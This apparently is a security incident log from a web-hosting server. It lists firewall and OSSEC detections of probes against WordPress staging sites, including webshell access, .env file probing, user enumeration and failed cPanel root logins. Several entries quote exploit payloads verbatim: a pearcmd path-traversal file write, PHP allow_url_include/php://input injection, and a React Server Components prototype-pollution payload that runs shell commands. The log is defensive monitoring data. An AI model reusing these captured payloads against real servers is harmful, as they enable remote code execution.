# incident

plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.157
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/bngzepjrndfkpjb/bngzepjrndfkpjbmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.7.118
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350515
name: IM360 WAF: Track OS file access attempt
abuser: 31.76.76.212
country_id: 2750405
domain: 38.95.35.74:80
description:
IM360 WAF: Track OS file access attempt||MV:/usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.76.76.212
country_id: 2750405
domain: 38.95.35.74:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 31.76.76.212
country_id: 2750405
domain: 38.95.35.74:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 31.76.76.212
country_id: 2750405
domain: 38.95.35.74:80
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 31.76.76.212
country_id: 2750405
domain: 38.95.35.74:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.26||T:APACHE||SC:/var/www/html/hello.world||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.168.115.181
country_id: 6252001
domain: motorworkblog.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.26||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.120.189.74
country_id: 1269750
description:
[2026-07-07 21:36:00 -0400] info [whostmgrd] 103.120.189.74 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.120.189.74
country_id: 1269750
description:
[2026-07-07 21:36:03 -0400] info [whostmgrd] 103.120.189.74 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 172.232.31.144
country_id: 6252001
domain: eventemcee.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.49
country_id: 3017382
domain: minutly.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/open?file=app/.env||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/d7rxtvkjpywz4ponmub7e0bCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/d7rxtvkjpywz4ponmub7e0bCdefault.php||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 46.4.31.103
country_id: 2921044
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/blog/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/d7rxtvkjpywz4ponmub7e0bCdefault.php/wp-includes/images/wp-login.php||SC:/home/bookemfarmtrang/public_html/d7rxtvkjpywz4ponmub7e0bCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/d7rxtvkjpywz4ponmub7e0bCdefault.php/wp-content/uploads/about.php||SC:/home/bookemfarmtrang/public_html/d7rxtvkjpywz4ponmub7e0bCdefault.php||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.26||T:APACHE||MV:/d7rxtvkjpywz4ponmub7e0bCdefault.php/wp-admin/maint/index.php||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.72.152.17
country_id: 6252001
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/blog/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 134.185.80.155
country_id: 1880251
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/bookemfarmtrang/public_html/elfinder||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 143.58.152.227
country_id: 2635167
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-35.143.58.152.227||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 149.56.22.63
country_id: 6251999
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.122.147.229
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.60 Safari/537.36||RSV:8.26||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.171.60.194
country_id: 6252001
description:
[2026-07-08 03:06:26 -0400] info [whostmgrd] 142.171.60.194 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  8 03:45:01 staging sshd[2750933]: Accepted publickey for ansible from 192.168.0.89 port 40886 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.86.54.139
country_id: 6252001
domain: eximpowp.epcwms.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.26||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.18.91
country_id: 1814991
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: busyloop.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPad; CPU OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 104.43.52.173
country_id: 1880251
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 198.38.94.13
country_id: 2635167
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 157.66.47.83
country_id: 1562822
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 5.133.201.154
country_id: 2661886
domain: conciergo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 11; Redmi Note 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 128.199.203.39
country_id: 1880251
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/blog/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 18.61.192.253
country_id: 1269750
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 213.171.208.62
country_id: 2635167
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: streamsynx.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 10; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: busyloop.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 3.137.207.205
country_id: 6252001
domain: mpa.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.26||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  8 08:48:01 staging sshd[2822922]: Accepted publickey for ansible from 192.168.0.89 port 34722 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 163.223.13.54
country_id: 1562822
domain: tenai.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: spoonwidth.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 47.86.33.52
country_id: 1819730
domain: conciergo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 14; SM-S921B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.28.36.205
country_id: 1562822
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  8 10:32:42 staging sshd[2862678]: Accepted publickey for ansible from 192.168.0.89 port 53994 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.74.116.219
country_id: 1562822
domain: tenai.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.176.8.77
country_id: 2510769
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 11; Redmi Note 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.72.152.17
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 81.17.97.100
country_id: 3017382
domain: picabrain.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.11.109.90
country_id: 6252001
domain: addemup.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 152.42.235.126
country_id: 1880251
domain: staging.marktechfusion.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/storage/framework/.env||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.115.217.185
country_id: 2802361
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: busyloop.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 72.167.38.62
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 87.106.67.224
country_id: 2635167
domain: eventemcee.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 3.141.235.213
country_id: 6252001
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPad; CPU OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 47.86.33.52
country_id: 1819730
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 11; Redmi Note 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.218
country_id: 1880251
domain: volta.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 58.186.150.51
country_id: 1562822
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 202.51.202.242
country_id: 1643084
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 18.61.192.253
country_id: 1269750
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_5_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: picabrain.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 160.187.68.132
country_id: 1269750
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
